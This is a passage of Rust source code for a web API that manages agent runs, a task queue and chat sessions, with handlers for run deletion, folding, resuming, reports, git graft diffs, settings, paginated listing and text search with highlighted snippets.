4129 Path(id): Path<String>,
4130) -> ApiResult<Json<RunDetailView>> {
4131 blocking(move || {
4132 let id = resolve_run(&ui.runs, &id)?;
4133 let state = read_run(&ui.runs, &id)?;
4134 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4135 let live = state.liveness(daemon_claims);
4136 crate::queue::record_ids(ui.questions.root(), "json")?;
4137 let waiting = ui
4138 .questions
4139 .list()
4140 .iter()
4141 .any(|q| q.run == id && q.status.open());
4142 let max_attempts = daemon::Opts::default().max_attempts;
4143
4144 let matching_task = ui.find_task_for_run(&id)?;
4145
4146 let superseded_by = state
4147 .pr_taken_over_by
4148 .clone()
4149 .or_else(|| {
4150 matching_task
4151 .as_ref()
4152 .and_then(|t| t.successor_of(&id).cloned())
4153 })
4154 .as_deref()
4155 .map(crate::run::short_of)
4156 .map(str::to_owned);
4157
4158 let latest_attempt = matching_task
4162 .as_ref()
4163 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4164 .and_then(|head_id| {
4165 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4166 short: head.short().to_owned(),
4167 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4168 status: head.status,
4169 done: head.status.done(),
4170 id: head.id,
4171 })
4172 });
4173
4174 let task = matching_task
4175 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4176
4177 Ok(Json(RunDetailView::of(
4178 state,
4179 waiting,
4180 live,
4181 superseded_by,
4182 latest_attempt,
4183 task,
4184 )))
4185 })
4186 .await
4187}
4188
4189async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4198 let (id, unreadable) = {
4199 let ui = Arc::clone(&ui);
4200 blocking(move || {
4201 let id = resolve_run(&ui.runs, &id)?;
4202 match read_run(&ui.runs, &id) {
4203 Ok(state) => {
4204 let in_flight =
4205 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4206 state
4207 .ensure_can_delete(in_flight)
4208 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4209 let dir = ui.runs.join(&id);
4210 std::fs::remove_dir_all(&dir)
4211 .with_context(|| format!("remove run directory {}", dir.display()))?;
4212 Ok((id, false))
4213 }
4214 Err(_) => {
4215 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4219 return Err(ApiError::conflict(format!(
4220 "run {id} is being worked on by a live daemon right now"
4221 )));
4222 }
4223 Ok((id, true))
4224 }
4225 }
4226 })
4227 .await?
4228 };
4229 if unreadable {
4230 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4231 .await
4232 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4233 }
4234 let ui = Arc::clone(&ui);
4235 let done = id.clone();
4236 blocking(move || {
4237 ui.questions.abandon_for_run(
4240 &done,
4241 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4242 )?;
4243 Ok(())
4244 })
4245 .await?;
4246 Ok(StatusCode::NO_CONTENT)
4247}
4248
4249async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4273 let (id, state) = {
4274 let ui = Arc::clone(&ui);
4275 blocking(move || {
4276 let id = resolve_run(&ui.runs, &id)?;
4277 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4278 return Err(ApiError::conflict(format!(
4279 "run {id} is being worked on by a live daemon right now"
4280 )));
4281 }
4282 let state = read_run(&ui.runs, &id).ok();
4283 Ok((id, state))
4284 })
4285 .await?
4286 };
4287 let removed = match state {
4288 Some(mut state) => {
4289 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4290 .await
4291 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4292 if removed.is_empty() {
4297 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4298 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4299 }
4300 removed
4301 }
4302 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4303 .await
4304 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4305 };
4306 Ok(Json(FoldView {
4307 run: id,
4308 removed_count: removed.len(),
4309 removed,
4310 }))
4311}
4312
4313#[derive(Debug, Serialize)]
4315struct FoldView {
4316 run: String,
4317 removed: Vec<String>,
4319 removed_count: usize,
4320}
4321
4322#[derive(Debug, Deserialize)]
4325struct FoldMergedBody {
4326 #[serde(default)]
4327 pr_url: String,
4328}
4329
4330async fn run_fold_merged(
4350 State(ui): State<Arc<Ui>>,
4351 Path(id): Path<String>,
4352 Json(body): Json<FoldMergedBody>,
4353) -> ApiResult<Json<FoldMergedView>> {
4354 let pr_url = body.pr_url.trim().to_owned();
4355 if pr_url.is_empty() {
4356 return Err(ApiError::bad_request("pr_url is required"));
4357 }
4358 let (id, mut state) = {
4359 let ui = Arc::clone(&ui);
4360 blocking(move || {
4361 let id = resolve_run(&ui.runs, &id)?;
4362 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4363 return Err(ApiError::conflict(format!(
4364 "run {id} is being worked on by a live daemon right now"
4365 )));
4366 }
4367 let state = read_run(&ui.runs, &id)?;
4368 Ok((id, state))
4369 })
4370 .await?
4371 };
4372 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4373 .await
4374 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4375 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4376 .await
4377 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4378 Ok(Json(FoldMergedView {
4379 run: id,
4380 before: before.as_str().to_owned(),
4381 after: after.as_str().to_owned(),
4382 removed,
4383 }))
4384}
4385
4386#[derive(Debug, Serialize)]
4388struct FoldMergedView {
4389 run: String,
4390 before: String,
4392 after: String,
4394 removed: Vec<String>,
4396}
4397
4398async fn run_resume(
4418 State(ui): State<Arc<Ui>>,
4419 Path(id): Path<String>,
4420) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4421 let admission = ui.begin_admission()?;
4422 admitted(admission, async move {
4423 let (id, state) = {
4424 let ui = Arc::clone(&ui);
4425 blocking(move || {
4426 let id = resolve_run(&ui.runs, &id)?;
4427 let state = read_run(&ui.runs, &id)?;
4428 Ok((id, state))
4429 })
4430 .await?
4431 };
4432 crate::resume::validate_unqueued(&ui.home, &id)
4433 .map_err(|e| ApiError::conflict(e.to_string()))?;
4434 let _resume = ui.begin_resume(&id)?;
4435
4436 crate::resume::start(&ui.home, id.clone())
4437 .await
4438 .map_err(ApiError::from)?;
4439 let queued = RunSummary::of(
4442 &state,
4443 !ui.questions.open_for(&id).is_empty(),
4444 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4445 );
4446 Ok((StatusCode::ACCEPTED, Json(queued)))
4447 })
4448 .await
4449}
4450
4451async fn run_report(
4452 State(ui): State<Arc<Ui>>,
4453 Path(id): Path<String>,
4454) -> ApiResult<impl IntoResponse> {
4455 let text = blocking(move || {
4456 let id = resolve_run(&ui.runs, &id)?;
4457 let state = read_run(&ui.runs, &id)?;
4461 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4462 let live = state.liveness(daemon_claims);
4463 Ok(format!(
4464 "{}{}",
4465 report::run(&state),
4466 report::active_seats(&state, live)
4467 ))
4468 })
4469 .await?;
4470 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4471}
4472
4473async fn run_report_json(
4477 State(ui): State<Arc<Ui>>,
4478 Path(id): Path<String>,
4479) -> ApiResult<Json<crate::report_view::RunReportView>> {
4480 let view = blocking(move || {
4481 let id = resolve_run(&ui.runs, &id)?;
4482 let state = read_run(&ui.runs, &id)?;
4483 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4484 let recovered = state.graft.as_ref().map(|_| {
4486 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4487 });
4488 Ok(crate::report_view::build_with(
4489 &state,
4490 state.liveness(daemon_claims),
4491 recovered.as_ref(),
4492 ))
4493 })
4494 .await?;
4495 Ok(Json(view))
4496}
4497
4498const GRAFT_DIFF_MAX: usize = 400 * 1024;
4500const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4502
4503async fn run_graft_diff(
4506 State(ui): State<Arc<Ui>>,
4507 Path(id): Path<String>,
4508) -> ApiResult<impl IntoResponse> {
4509 let (repo, pre, post) = blocking(move || {
4510 let id = resolve_run(&ui.runs, &id)?;
4511 let state = read_run(&ui.runs, &id)?;
4512 let g = state
4513 .graft
4514 .as_ref()
4515 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4516 let post = g
4517 .post
4518 .clone()
4519 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4520 Ok((state.repo.clone(), g.pre.clone(), post))
4521 })
4522 .await?;
4523 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4524 if !hex(&pre) || !hex(&post) {
4525 return Err(ApiError::not_found("the recorded commits are not valid"));
4526 }
4527 let out = tokio::time::timeout(
4528 GRAFT_DIFF_TIMEOUT,
4529 crate::git::git_raw(
4530 &repo,
4531 &[
4532 "diff",
4533 "--no-color",
4534 "--no-ext-diff",
4535 "-M",
4536 &pre,
4537 &post,
4538 "--",
4539 ],
4540 ),
4541 )
4542 .await
4543 .map_err(|_| ApiError::not_found("git diff timed out"))?
4544 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4545 if out.code != Some(0) {
4546 return Err(ApiError::not_found(
4547 "the recorded commits are no longer in the repository",
4548 ));
4549 }
4550 let mut body = out.stdout;
4551 if body.len() > GRAFT_DIFF_MAX {
4552 let mut cut = GRAFT_DIFF_MAX;
4553 while !body.is_char_boundary(cut) {
4554 cut -= 1;
4555 }
4556 body.truncate(cut);
4557 body.push_str("\n... diff truncated ...");
4558 }
4559 Ok((
4560 [
4561 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4562 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4563 ],
4564 body,
4565 ))
4566}
4567
4568#[derive(Debug, Serialize)]
4574struct TaskView {
4575 #[serde(flatten)]
4576 task: Task,
4577 source_label: String,
4578 source_link: Option<SourceLink>,
4579 status_str: &'static str,
4580 instruction_md: Vec<md::Node>,
4584 waits_on: Vec<String>,
4588 stuck_roots: Vec<String>,
4591}
4592
4593impl From<Task> for TaskView {
4594 fn from(task: Task) -> Self {
4595 Self {
4596 source_label: task.source.label(),
4597 source_link: source_link(&task.source),
4598 status_str: task.status.as_str(),
4599 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4600 waits_on: Vec::new(),
4601 stuck_roots: Vec::new(),
4602 task,
4603 }
4604 }
4605}
4606
4607impl TaskView {
4608 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4609 let waits_on = inv.waits_on(&task);
4610 let stuck_roots = inv
4611 .stuck_roots(&task)
4612 .iter()
4613 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4614 .collect();
4615 Self {
4616 waits_on,
4617 stuck_roots,
4618 ..Self::from(task)
4619 }
4620 }
4621}
4622
4623#[derive(Debug, Default, Deserialize)]
4626#[serde(default)]
4627struct ReposQuery {
4628 refresh: u8,
4629}
4630
4631async fn repos_list(
4638 State(ui): State<Arc<Ui>>,
4639 Query(q): Query<ReposQuery>,
4640) -> ApiResult<Json<Vec<repos::Repo>>> {
4641 let refresh = q.refresh != 0;
4642 blocking(move || {
4643 let (cfg, _) = Config::discover(&ui.repo, None)?;
4644 Ok(Json(ui.repos_cache.list(
4645 &cfg.repos.roots,
4646 Duration::from_secs(cfg.repos.scan_ttl),
4647 refresh,
4648 )))
4649 })
4650 .await
4651}
4652
4653#[derive(Debug, Default, Deserialize)]
4655struct SettingsQuery {
4656 repo: Option<PathBuf>,
4657}
4658
4659fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4663 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4664 let paths: Vec<PathBuf> = ui
4665 .machine_config
4666 .iter()
4667 .filter(|p| p.is_file())
4668 .cloned()
4669 .collect();
4670 if paths.is_empty() {
4671 Ok(Config::autodetected())
4672 } else {
4673 Config::load_layers(&paths)
4674 }
4675 });
4676 let mut known = cfg
4677 .map(|cfg| {
4678 ui.repos_cache.list(
4679 &cfg.repos.roots,
4680 Duration::from_secs(cfg.repos.scan_ttl),
4681 refresh,
4682 )
4683 })
4684 .unwrap_or_default();
4685 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4686 if !known.iter().any(|r| r.path == path) {
4687 known.push(repos::Repo {
4688 name: path
4689 .file_name()
4690 .unwrap_or_default()
4691 .to_string_lossy()
4692 .into_owned(),
4693 path,
4694 });
4695 }
4696 known
4697}
4698
4699fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4700 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4701 let canonical = requested.canonicalize().ok();
4702 let mut known = settings_repositories(ui, false);
4703 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4704 if !known.iter().any(matches) {
4705 known = settings_repositories(ui, true);
4706 }
4707 let repo = known
4708 .iter()
4709 .find(|r| matches(r))
4710 .map(|r| r.path.clone())
4711 .ok_or_else(|| ApiError {
4712 text_reason: None,
4713 status: StatusCode::UNPROCESSABLE_ENTITY,
4714 message: "Choose a known repository from the Settings selector.".to_owned(),
4715 })?;
4716 Ok((repo, known))
4717}
4718
4719async fn settings_get(
4723 State(ui): State<Arc<Ui>>,
4724 Query(q): Query<SettingsQuery>,
4725) -> ApiResult<Json<settings::SettingsView>> {
4726 blocking(move || {
4727 let (repo, known) = settings_context(&ui, q)?;
4728 Ok(Json(settings::view_with_repos(
4729 &repo,
4730 ui.machine_config.as_deref(),
4731 &known,
4732 )))
4733 })
4734 .await
4735}
4736
4737#[derive(Debug, Deserialize)]
4739#[serde(deny_unknown_fields)]
4740struct RolesBody {
4741 revision: String,
4743 #[serde(default)]
4745 roles: std::collections::BTreeMap<String, Vec<String>>,
4746 #[serde(default)]
4750 counts: std::collections::BTreeMap<String, serde_json::Value>,
4751}
4752
4753async fn settings_put_roles(
4759 State(ui): State<Arc<Ui>>,
4760 Query(q): Query<SettingsQuery>,
4761 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4762) -> ApiResult<Json<settings::SettingsView>> {
4763 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4764 blocking(move || {
4765 let (repo, known) = settings_context(&ui, q)?;
4766 settings::save_with_repos(
4767 &repo,
4768 ui.machine_config.as_deref(),
4769 &body.revision,
4770 &body.roles,
4771 &body.counts,
4772 &known,
4773 )
4774 .map(Json)
4775 .map_err(|e| match e {
4776 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4777 settings::SaveError::Refused(m) => ApiError {
4778 text_reason: None,
4779 status: StatusCode::UNPROCESSABLE_ENTITY,
4780 message: m,
4781 },
4782 settings::SaveError::Internal(m) => ApiError::internal(m),
4783 })
4784 })
4785 .await
4786}
4787
4788async fn queue_list(
4789 State(ui): State<Arc<Ui>>,
4790 Query(q): Query<ListQuery>,
4791) -> ApiResult<Json<Vec<TaskView>>> {
4792 blocking(move || {
4793 let tasks = ui.queue.list();
4794 let inv =
4795 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4796 Ok(Json(
4797 tasks
4798 .into_iter()
4799 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4800 .map(|t| TaskView::with_inventory(t, &inv))
4801 .collect(),
4802 ))
4803 })
4804 .await
4805}
4806
4807#[derive(Debug, Default, Deserialize)]
4812struct PageQuery {
4813 before: Option<String>,
4814}
4815
4816#[derive(Serialize)]
4817struct StorePage<T> {
4818 rows: Vec<T>,
4819 next: Option<String>,
4820}
4821
4822const STORE_PAGE_SIZE: usize = 16;
4823
4824#[derive(Debug)]
4828struct ListWalk {
4829 token: u64,
4830 talks: bool,
4831 opened: std::time::Instant,
4832 ids: Arc<Vec<String>>,
4833}
4834
4835fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4836 let mut walks = ui
4837 .monitor
4838 .list_walks
4839 .lock()
4840 .unwrap_or_else(PoisonError::into_inner);
4841 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4842 let (token, ids, offset) = if let Some(cursor) = q.before {
4843 let (token, offset) = cursor
4844 .split_once(':')
4845 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4846 let token = token
4847 .parse::<u64>()
4848 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4849 let offset = offset
4850 .parse::<usize>()
4851 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4852 let walk = walks
4853 .iter()
4854 .find(|walk| walk.token == token && walk.talks == talks)
4855 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4856 (token, walk.ids.clone(), offset)
4857 } else {
4858 let root = if talks {
4859 ui.talks.root()
4860 } else {
4861 ui.queue.root()
4862 };
4863 let mut ids = crate::queue::record_ids(root, "json")?;
4864 ids.sort_unstable_by(|a, b| b.cmp(a));
4865 let ids = Arc::new(ids);
4866 let mut token = crate::rng::entropy();
4867 while walks.iter().any(|walk| walk.token == token) {
4868 token = crate::rng::entropy();
4869 }
4870 if walks.len() >= 16 {
4873 walks.remove(0);
4874 }
4875 walks.push(ListWalk {
4876 token,
4877 talks,
4878 opened: std::time::Instant::now(),
4879 ids: ids.clone(),
4880 });
4881 (token, ids, 0)
4882 };
4883 if offset > ids.len() {
4884 return Err(ApiError::bad_request("Invalid list cursor"));
4885 }
4886 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4887 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4888 Ok((ids[offset..end].to_vec(), next))
4889}
4890
4891async fn queue_page(
4892 State(ui): State<Arc<Ui>>,
4893 Query(q): Query<PageQuery>,
4894) -> ApiResult<Json<StorePage<TaskView>>> {
4895 blocking(move || {
4896 let (ids, next) = page_ids(&ui, false, q)?;
4897 let tasks: Vec<_> = ids
4898 .into_iter()
4899 .filter_map(|id| ui.queue.get(&id).ok())
4900 .collect();
4901 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4902 let rows = tasks
4903 .into_iter()
4904 .map(|task| TaskView::with_inventory(task, &inv))
4905 .collect();
4906 Ok(Json(StorePage { rows, next }))
4907 })
4908 .await
4909}
4910
4911#[derive(Serialize)]
4915struct TalkListView {
4916 title: Option<talk::ChatTitle>,
4917 id: String,
4918 repo: PathBuf,
4919 agent: String,
4920 status: talk::TalkStatus,
4921 turns: Vec<TalkListTurn>,
4922 thinking: bool,
4923 context: talk::ContextUsage,
4924 created_at: Timestamp,
4925 updated_at: Timestamp,
4926}
4927
4928#[derive(Serialize)]
4929struct TalkListTurn {
4930 who: talk::Who,
4931 at: Timestamp,
4932 body: String,
4933}
4934
4935async fn talks_page(
4936 State(ui): State<Arc<Ui>>,
4937 Query(q): Query<PageQuery>,
4938) -> ApiResult<Json<StorePage<TalkListView>>> {
4939 blocking(move || {
4940 let (ids, next) = page_ids(&ui, true, q)?;
4941 let rows = ids
4942 .into_iter()
4943 .filter_map(|id| ui.talks.get(&id).ok())
4944 .map(|talk| TalkListView {
4945 title: talk.title.clone(),
4946 thinking: ui.is_thinking(&talk.id),
4947 context: talk::context_usage(&talk, None),
4948 turns: talk
4949 .turns
4950 .iter()
4951 .map(|turn| TalkListTurn {
4952 who: turn.who,
4953 at: turn.at,
4954 body: turn
4955 .body
4956 .lines()
4957 .next()
4958 .unwrap_or_default()
4959 .chars()
4960 .take(240)
4961 .collect(),
4962 })
4963 .collect(),
4964 id: talk.id,
4965 repo: talk.repo,
4966 agent: talk.agent,
4967 status: talk.status,
4968 created_at: talk.created_at,
4969 updated_at: talk.updated_at,
4970 })
4971 .collect();
4972 Ok(Json(StorePage { rows, next }))
4973 })
4974 .await
4975}
4976
4977async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4978 blocking(move || {
4979 let tasks = ui.indexed_tasks()?;
4980 Ok(Json(TaskCountsView::from(
4981 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4982 )))
4983 })
4984 .await
4985}
4986
4987const SEARCH_MAX_HITS: usize = 100;
4989const SEARCH_MAX_QUERY: usize = 200;
4991const SEARCH_MAX_TERMS: usize = 8;
4992const SNIPPET_BEFORE: usize = 50;
4994const SNIPPET_AFTER: usize = 110;
4995
4996#[derive(Debug, Deserialize)]
4998struct SearchQuery {
4999 #[serde(default)]
5000 scope: String,
5001 #[serde(default)]
5002 q: String,
5003}
5004
5005#[derive(Debug, Serialize, PartialEq, Eq)]
5008struct SnippetPart {
5009 text: String,
5010 hit: bool,
5011}
5012
5013#[derive(Debug, Serialize)]
5014struct SearchHit {
5015 id: String,
5016 field: String,
5018 snippet: Vec<SnippetPart>,
5019 #[serde(skip_serializing_if = "Option::is_none")]
5023 run: Option<RunSummary>,
5024}
5025
5026#[derive(Debug, Serialize)]
5027struct SearchView {
5028 scope: String,
5029 q: String,
5030 hits: Vec<SearchHit>,
5032 total: usize,
5034 truncated: bool,
5035 unreadable: usize,
5038}
5039
5040fn text_leaves<'a>(
5043 value: &'a serde_json::Value,
5044 field: &'a str,
5045 out: &mut Vec<(&'a str, &'a str)>,
5046) {
5047 match value {
5048 serde_json::Value::String(s) => out.push((field, s)),
5049 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5050 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5051 _ => {}
5052 }
5053}
5054
5055fn fold_char(c: char) -> char {
5058 c.to_lowercase().next().unwrap_or(c)
5059}
5060
5061fn search_terms(q: &str) -> Vec<String> {
5063 let mut terms: Vec<String> = Vec::new();
5064 for t in q.split_whitespace() {
5065 let t = t.to_lowercase();
5066 if !terms.contains(&t) {
5067 terms.push(t);
5068 }
5069 }
5070 terms
5071}
5072
5073fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5076 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5077 let mut first: Option<usize> = None;
5078 for term in terms {
5079 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5080 first = Some(first.map_or(at, |f| f.min(at)));
5081 }
5082 let (field, text) = leaves[first?];
5084 Some(SearchHit {
5085 id: String::new(),
5086 field: field.to_owned(),
5087 snippet: snippet_of(text, terms),
5088 run: None,
5089 })
5090}
5091
5092fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5095 let chars: Vec<char> = text.chars().collect();
5096 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5097 let needles: Vec<Vec<char>> = terms
5098 .iter()
5099 .map(|t| t.chars().map(fold_char).collect())
5100 .collect();
5101 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5102 let mut best: Option<(usize, usize)> = None;
5103 for n in needles.iter().filter(|n| !n.is_empty()) {
5104 if n.len() > chars.len() || to == 0 {
5108 continue;
5109 }
5110 let last = (to - 1).min(chars.len() - n.len());
5111 if from > last {
5112 continue;
5113 }
5114 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5115 && best.is_none_or(|(b, _)| i < b)
5116 {
5117 best = Some((i, i + n.len()));
5118 }
5119 }
5120 best
5121 };
5122 let Some((start, _)) = find(0, chars.len()) else {
5123 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5125 return vec![SnippetPart {
5126 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5127 hit: false,
5128 }];
5129 };
5130 let lo = start.saturating_sub(SNIPPET_BEFORE);
5131 let hi = (start + SNIPPET_AFTER).min(chars.len());
5132 let mut parts: Vec<SnippetPart> = Vec::new();
5133 let mut push = |s: &[char], hit: bool| {
5134 if s.is_empty() {
5135 return;
5136 }
5137 let text: String = s.iter().collect();
5138 match parts.last_mut() {
5139 Some(p) if p.hit == hit => p.text.push_str(&text),
5140 _ => parts.push(SnippetPart { text, hit }),
5141 }
5142 };
5143 if lo > 0 {
5144 push(&['\u{2026}'], false);
5145 }
5146 let mut at = lo;
5147 while at < hi {
5148 match find(at, hi) {
5149 Some((s, e)) => {
5150 push(&chars[at..s], false);
5151 let shown = e.min(hi);
5153 push(&chars[s..shown], true);
5154 at = shown;
5155 }
5156 None => {
5157 push(&chars[at..hi], false);
5158 at = hi;
5159 }
5160 }
5161 }
5162 if hi < chars.len() {
5163 push(&['\u{2026}'], false);
5164 }
5165 let mut prev_space = false;
5168 for p in &mut parts {
5169 let mut out = String::with_capacity(p.text.len());
5170 for c in p.text.chars() {
5171 if c.is_whitespace() {
5172 if !prev_space {
5173 out.push(' ');
5174 }
5175 prev_space = true;
5176 } else {
5177 out.push(c);
5178 prev_space = false;
5179 }
5180 }
5181 p.text = out;
5182 }
5183 parts.retain(|p| !p.text.is_empty());
5184 parts
5185}
5186
5187fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5189where
5190 I: IntoIterator<Item = (String, serde_json::Value)>,
5191{
5192 for (id, doc) in docs {
5193 let mut leaves = Vec::new();
5194 leaves.push(("id", id.as_str()));
5197 text_leaves(&doc, "", &mut leaves);
5198 if let Some(mut hit) = search_document(terms, &leaves) {
5199 view.total += 1;
5200 if view.hits.len() < SEARCH_MAX_HITS {
5201 hit.id = id;
5202 view.hits.push(hit);
5203 }
5204 }
5205 }
5206 view.truncated = view.total > view.hits.len();
5207}
5208
5209fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5215 let opener = talk
5216 .title
5217 .as_ref()
5218 .filter(|t| !t.text.is_empty())
5219 .map(|t| t.text.as_str())
5220 .or_else(|| {
5221 talk.turns
5222 .iter()
5223 .find(|t| t.who == talk::Who::Operator)
5224 .map(|t| t.body.as_str())
5225 })
5226 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5227 .unwrap_or("");
5228 let title: String = if opener.chars().count() > 96 {
5229 opener.chars().take(95).chain(['\u{2026}']).collect()
5230 } else {
5231 opener.to_owned()
5232 };
5233 let turns: Vec<serde_json::Value> = talk
5234 .turns
5235 .iter()
5236 .map(|t| {
5237 let who = match t.who {
5238 crate::talk::Who::Operator => "operator",
5239 crate::talk::Who::Agent => "agent",
5240 };
5241 serde_json::json!({ who: t.body })
5242 })
5243 .collect();
5244 serde_json::json!({ "title": title, "turns": turns })
5245}
5246
5247async fn search_get(
5254 State(ui): State<Arc<Ui>>,
5255 Query(q): Query<SearchQuery>,
5256) -> ApiResult<Json<SearchView>> {
5257 let query = q.q.trim().to_owned();
5258 if query.is_empty() {
5259 return Err(ApiError::bad_request("q must not be empty"));
5260 }
5261 if query.chars().count() > SEARCH_MAX_QUERY {
5262 return Err(ApiError::bad_request(format!(
5263 "q is longer than {SEARCH_MAX_QUERY} characters"
5264 )));
5265 }
5266 let terms = search_terms(&query);
5267 if terms.len() > SEARCH_MAX_TERMS {
5268 return Err(ApiError::bad_request(format!(
5269 "q has more than {SEARCH_MAX_TERMS} terms"
5270 )));
5271 }
5272 let scope = q.scope;
5273 if scope != "runs" && scope != "tasks" && scope != "chats" {
5274 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5275 }
5276 blocking(move || {
5277 let mut view = SearchView {
5278 scope: scope.clone(),
5279 q: query,
5280 hits: Vec::new(),
5281 total: 0,
5282 truncated: false,
5283 unreadable: 0,
5284 };
5285 if scope == "runs" {
5286 let mut unreadable = 0;
5287 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5291 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5292 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5293 Some(v) => Some((id, v)),
5294 None => {
5295 unreadable += 1;
5296 None
5297 }
5298 }
5299 });
5300 search_docs(&terms, docs, &mut view);
5301 view.unreadable = unreadable;
5302 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5305 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5306 for hit in &mut view.hits {
5307 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5308 hit.run = summarize(
5309 [state],
5310 &open_runs,
5311 &claimed,
5312 &superseded,
5313 |p| probe.borrow_mut().status(p),
5314 |p| probe.borrow_mut().started_at(p),
5315 )
5316 .pop();
5317 }
5318 }
5319 } else if scope == "chats" {
5320 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5321 view.unreadable = unreadable;
5322 search_docs(
5323 &terms,
5324 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5325 &mut view,
5326 );
5327 } else {
5328 let docs = ui.queue.list().into_iter().filter_map(|t| {
5329 let mut v = serde_json::to_value(&t).ok()?;
5330 if let Some(o) = v.as_object_mut() {
5333 o.insert("filed_by".to_owned(), t.source.label().into());
5334 }
5335 Some((t.id, v))
5336 });
5337 search_docs(&terms, docs, &mut view);
5338 }
5339 Ok(Json(view))
5340 })
5341 .await
5342}
5343
5344#[derive(Debug, Serialize)]
5346struct TaskRunView {
5347 n: usize,
5349 id: String,
5350 short: String,
5351 kind: &'static str,
5353 status: Option<&'static str>,
5355 readable: bool,
5357 provisional: bool,
5359 description: String,
5361 outcome: String,
5363 created_at: Option<Timestamp>,
5364 pr: Option<String>,
5365 exit: RunExit,
